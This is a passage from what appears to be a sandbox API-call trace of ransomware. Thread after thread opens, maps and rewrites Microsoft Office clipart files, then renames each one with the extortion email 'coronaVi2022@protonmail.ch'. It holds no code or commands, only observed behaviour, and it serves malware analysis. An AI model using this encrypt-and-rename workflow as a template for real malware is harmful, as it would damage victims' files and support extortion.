	[0100.440] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382836.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382836.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382836.jpg")) returned 1
	[0100.441] free (_Block=0x51f5098) 
	[0100.441] RtlExitUserThread (Status=0x0) 

Thread:
	id = 750
	os_tid = 0x1c0c

	[0100.430] _alloca_probe () returned 0x40328a
	[0100.430] GetCurrentThreadId () returned 0x1c0c
	[0100.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.jpg", dwFileAttributes=0x80) returned 1
	[0100.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe74
	[0100.431] GetFileSizeEx (in: hFile=0xe74, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=118362) returned 1
	[0100.431] CreateFileMappingA (hFile=0xe74, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ce63, lpName=0x0) returned 0xe70
	[0100.431] MapViewOfFile (hFileMappingObject=0xe70, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.459] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.460] CloseHandle (hObject=0xe70) returned 1
	[0100.460] GetCurrentThreadId () returned 0x1c0c
	[0100.460] FlushFileBuffers (hFile=0xe74) returned 1
	[0100.470] CloseHandle (hObject=0xe74) returned 1
	[0100.470] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382925.jpg") returned 97
	[0100.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382925.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382925.jpg")) returned 1
	[0100.471] free (_Block=0x51f3088) 
	[0100.471] RtlExitUserThread (Status=0x0) 

Thread:
	id = 751
	os_tid = 0x1c10

	[0100.489] _alloca_probe () returned 0x40328a
	[0100.490] GetCurrentThreadId () returned 0x1c10
	[0100.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.jpg", dwFileAttributes=0x80) returned 1
	[0100.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe70
	[0100.491] GetFileSizeEx (in: hFile=0xe70, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=91948) returned 1
	[0100.491] CreateFileMappingA (hFile=0xe70, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16737, lpName=0x0) returned 0xe68
	[0100.491] MapViewOfFile (hFileMappingObject=0xe68, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.512] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.513] CloseHandle (hObject=0xe68) returned 1
	[0100.513] GetCurrentThreadId () returned 0x1c10
	[0100.513] FlushFileBuffers (hFile=0xe70) returned 1
	[0100.516] CloseHandle (hObject=0xe70) returned 1
	[0100.516] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382926.jpg") returned 97
	[0100.516] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382926.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382926.jpg")) returned 1
	[0100.517] free (_Block=0x51f0070) 
	[0100.517] RtlExitUserThread (Status=0x0) 

Thread:
	id = 752
	os_tid = 0x1c14

	[0100.520] _alloca_probe () returned 0x40328a
	[0100.520] GetCurrentThreadId () returned 0x1c14
	[0100.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.jpg", dwFileAttributes=0x80) returned 1
	[0100.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe68
	[0100.521] GetFileSizeEx (in: hFile=0xe68, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=129132) returned 1
	[0100.522] CreateFileMappingA (hFile=0xe68, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f877, lpName=0x0) returned 0xe78
	[0100.522] MapViewOfFile (hFileMappingObject=0xe78, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.560] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.561] CloseHandle (hObject=0xe78) returned 1
	[0100.561] GetCurrentThreadId () returned 0x1c14
	[0100.561] FlushFileBuffers (hFile=0xe68) returned 1
	[0100.572] CloseHandle (hObject=0xe68) returned 1
	[0100.572] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382927.jpg") returned 97
	[0100.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382927.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382927.jpg")) returned 1
	[0100.575] free (_Block=0x51f0070) 
	[0100.575] RtlExitUserThread (Status=0x0) 

Thread:
	id = 753
	os_tid = 0x1c18

	[0100.537] _alloca_probe () returned 0x40328a
	[0100.538] GetCurrentThreadId () returned 0x1c18
	[0100.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382930.jpg", dwFileAttributes=0x80) returned 1
	[0100.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382930.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382930.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe78
	[0100.564] GetFileSizeEx (in: hFile=0xe78, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=112698) returned 1
	[0100.564] CreateFileMappingA (hFile=0xe78, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b843, lpName=0x0) returned 0xe80
	[0100.564] MapViewOfFile (hFileMappingObject=0xe80, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.627] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.629] CloseHandle (hObject=0xe80) returned 1
	[0100.629] GetCurrentThreadId () returned 0x1c18
	[0100.629] FlushFileBuffers (hFile=0xe78) returned 1
	[0100.631] CloseHandle (hObject=0xe78) returned 1
	[0100.631] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382930.jpg") returned 97
	[0100.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382930.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382930.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382930.jpg")) returned 1
	[0100.633] free (_Block=0x51f4090) 
	[0100.633] RtlExitUserThread (Status=0x0) 

Thread:
	id = 754
	os_tid = 0x1c1c

	[0100.635] _alloca_probe () returned 0x40328a
	[0100.635] GetCurrentThreadId () returned 0x1c1c
	[0100.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.jpg", dwFileAttributes=0x80) returned 1
	[0100.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe80
	[0100.637] GetFileSizeEx (in: hFile=0xe80, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=122691) returned 1
	[0100.637] CreateFileMappingA (hFile=0xe80, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1df45, lpName=0x0) returned 0xe68
	[0100.637] MapViewOfFile (hFileMappingObject=0xe68, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.667] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.668] CloseHandle (hObject=0xe68) returned 1
	[0100.669] GetCurrentThreadId () returned 0x1c1c
	[0100.669] FlushFileBuffers (hFile=0xe80) returned 1
	[0100.763] CloseHandle (hObject=0xe80) returned 1
	[0100.763] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382931.jpg") returned 97
	[0100.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382931.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382931.jpg")) returned 1
	[0100.764] free (_Block=0x51f0070) 
	[0100.764] RtlExitUserThread (Status=0x0) 

Thread:
	id = 755
	os_tid = 0x1c20

	[0100.653] _alloca_probe () returned 0x40328a
	[0100.654] GetCurrentThreadId () returned 0x1c20
	[0100.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.jpg", dwFileAttributes=0x80) returned 1
	[0100.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe88
	[0100.655] GetFileSizeEx (in: hFile=0xe88, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=99539) returned 1
	[0100.655] CreateFileMappingA (hFile=0xe88, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x184d5, lpName=0x0) returned 0xe8c
	[0100.656] MapViewOfFile (hFileMappingObject=0xe8c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0100.772] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0100.773] CloseHandle (hObject=0xe8c) returned 1
	[0100.773] GetCurrentThreadId () returned 0x1c20
	[0100.773] FlushFileBuffers (hFile=0xe88) returned 1
	[0100.781] CloseHandle (hObject=0xe88) returned 1
	[0100.782] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382938.jpg") returned 97
	[0100.782] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382938.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382938.jpg")) returned 1
	[0100.783] free (_Block=0x51fa0c0) 
	[0100.783] RtlExitUserThread (Status=0x0) 

Thread:
	id = 756
	os_tid = 0x1c24

	[0100.778] _alloca_probe () returned 0x40328a
	[0100.778] GetCurrentThreadId () returned 0x1c24
	[0100.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.jpg", dwFileAttributes=0x80) returned 1
	[0100.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe80
	[0100.779] GetFileSizeEx (in: hFile=0xe80, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=109477) returned 1
	[0100.779] CreateFileMappingA (hFile=0xe80, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1aba9, lpName=0x0) returned 0xe68
	[0100.779] MapViewOfFile (hFileMappingObject=0xe68, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.806] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.807] CloseHandle (hObject=0xe68) returned 1
	[0100.808] GetCurrentThreadId () returned 0x1c24
	[0100.808] FlushFileBuffers (hFile=0xe80) returned 1
	[0100.869] CloseHandle (hObject=0xe80) returned 1
	[0100.869] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382939.jpg") returned 97
	[0100.869] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382939.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382939.jpg")) returned 1
	[0100.870] free (_Block=0x51f3088) 
	[0100.870] RtlExitUserThread (Status=0x0) 

Thread:
	id = 757
	os_tid = 0x1c28

	[0100.865] _alloca_probe () returned 0x40328a
	[0100.865] GetCurrentThreadId () returned 0x1c28
	[0100.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382942.jpg", dwFileAttributes=0x80) returned 1
	[0100.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382942.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382942.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe68
	[0100.868] GetFileSizeEx (in: hFile=0xe68, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=91450) returned 1
	[0100.868] CreateFileMappingA (hFile=0xe68, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16543, lpName=0x0) returned 0xe88
	[0100.868] MapViewOfFile (hFileMappingObject=0xe88, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.889] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.890] CloseHandle (hObject=0xe88) returned 1
	[0100.890] GetCurrentThreadId () returned 0x1c28
	[0100.890] FlushFileBuffers (hFile=0xe68) returned 1
	[0100.893] CloseHandle (hObject=0xe68) returned 1
	[0100.893] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382942.jpg") returned 97
	[0100.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382942.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382942.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382942.jpg")) returned 1
	[0100.894] free (_Block=0x51f0070) 
	[0100.894] RtlExitUserThread (Status=0x0) 

Thread:
	id = 758
	os_tid = 0x1c30

	[0100.896] _alloca_probe () returned 0x40328a
	[0100.897] GetCurrentThreadId () returned 0x1c30
	[0100.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.jpg", dwFileAttributes=0x80) returned 1
	[0100.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe88
	[0100.897] GetFileSizeEx (in: hFile=0xe88, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=81437) returned 1
	[0100.897] CreateFileMappingA (hFile=0xe88, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e29, lpName=0x0) returned 0xe80
	[0100.897] MapViewOfFile (hFileMappingObject=0xe80, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.915] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.916] CloseHandle (hObject=0xe80) returned 1
	[0100.916] GetCurrentThreadId () returned 0x1c30
	[0100.916] FlushFileBuffers (hFile=0xe88) returned 1
	[0100.927] CloseHandle (hObject=0xe88) returned 1
	[0100.927] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382944.jpg") returned 97
	[0100.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382944.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382944.jpg")) returned 1
	[0100.928] free (_Block=0x51f3088) 
	[0100.928] RtlExitUserThread (Status=0x0) 

Thread:
	id = 759
	os_tid = 0x1c34

	[0100.918] _alloca_probe () returned 0x40328a
	[0100.918] GetCurrentThreadId () returned 0x1c34
	[0100.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.jpg", dwFileAttributes=0x80) returned 1
	[0100.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe90
	[0100.919] GetFileSizeEx (in: hFile=0xe90, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=86812) returned 1
	[0100.919] CreateFileMappingA (hFile=0xe90, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15327, lpName=0x0) returned 0xe94
	[0100.919] MapViewOfFile (hFileMappingObject=0xe94, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.941] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.942] CloseHandle (hObject=0xe94) returned 1
	[0100.942] GetCurrentThreadId () returned 0x1c34
	[0100.942] FlushFileBuffers (hFile=0xe90) returned 1
	[0100.945] CloseHandle (hObject=0xe90) returned 1
	[0100.945] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382947.jpg") returned 97
	[0100.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382947.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382947.jpg")) returned 1
	[0100.946] free (_Block=0x51f4090) 
	[0100.946] RtlExitUserThread (Status=0x0) 

Thread:
	id = 760
	os_tid = 0x1c38

	[0100.947] _alloca_probe () returned 0x40328a
	[0100.948] GetCurrentThreadId () returned 0x1c38
	[0100.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.jpg", dwFileAttributes=0x80) returned 1
	[0100.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe94
	[0100.949] GetFileSizeEx (in: hFile=0xe94, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=109879) returned 1
	[0100.949] CreateFileMappingA (hFile=0xe94, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ad3d, lpName=0x0) returned 0xe88
	[0100.949] MapViewOfFile (hFileMappingObject=0xe88, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.974] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.975] CloseHandle (hObject=0xe88) returned 1
	[0100.975] GetCurrentThreadId () returned 0x1c38
	[0100.975] FlushFileBuffers (hFile=0xe94) returned 1
	[0100.991] CloseHandle (hObject=0xe94) returned 1
	[0100.992] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382948.jpg") returned 97
	[0100.992] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382948.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382948.jpg")) returned 1
	[0101.006] free (_Block=0x51f3088) 
	[0101.006] RtlExitUserThread (Status=0x0) 

Thread:
	id = 761
	os_tid = 0x1c3c

	[0100.963] _alloca_probe () returned 0x40328a
	[0100.964] GetCurrentThreadId () returned 0x1c3c
	[0100.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382950.jpg", dwFileAttributes=0x80) returned 1
	[0100.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382950.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382950.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe9c
	[0100.965] GetFileSizeEx (in: hFile=0xe9c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=96466) returned 1
	[0100.965] CreateFileMappingA (hFile=0xe9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x178d3, lpName=0x0) returned 0xea0
	[0100.965] MapViewOfFile (hFileMappingObject=0xea0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0101.012] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0101.013] CloseHandle (hObject=0xea0) returned 1
	[0101.013] GetCurrentThreadId () returned 0x1c3c
	[0101.013] FlushFileBuffers (hFile=0xe9c) returned 1
	[0101.017] CloseHandle (hObject=0xe9c) returned 1
	[0101.017] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382950.jpg") returned 97
	[0101.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382950.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382950.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382950.jpg")) returned 1
	[0101.018] free (_Block=0x51f4090) 
	[0101.018] RtlExitUserThread (Status=0x0) 

Thread:
	id = 762
	os_tid = 0x1c40

	[0101.019] _alloca_probe () returned 0x40328a
	[0101.020] GetCurrentThreadId () returned 0x1c40
	[0101.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.jpg", dwFileAttributes=0x80) returned 1
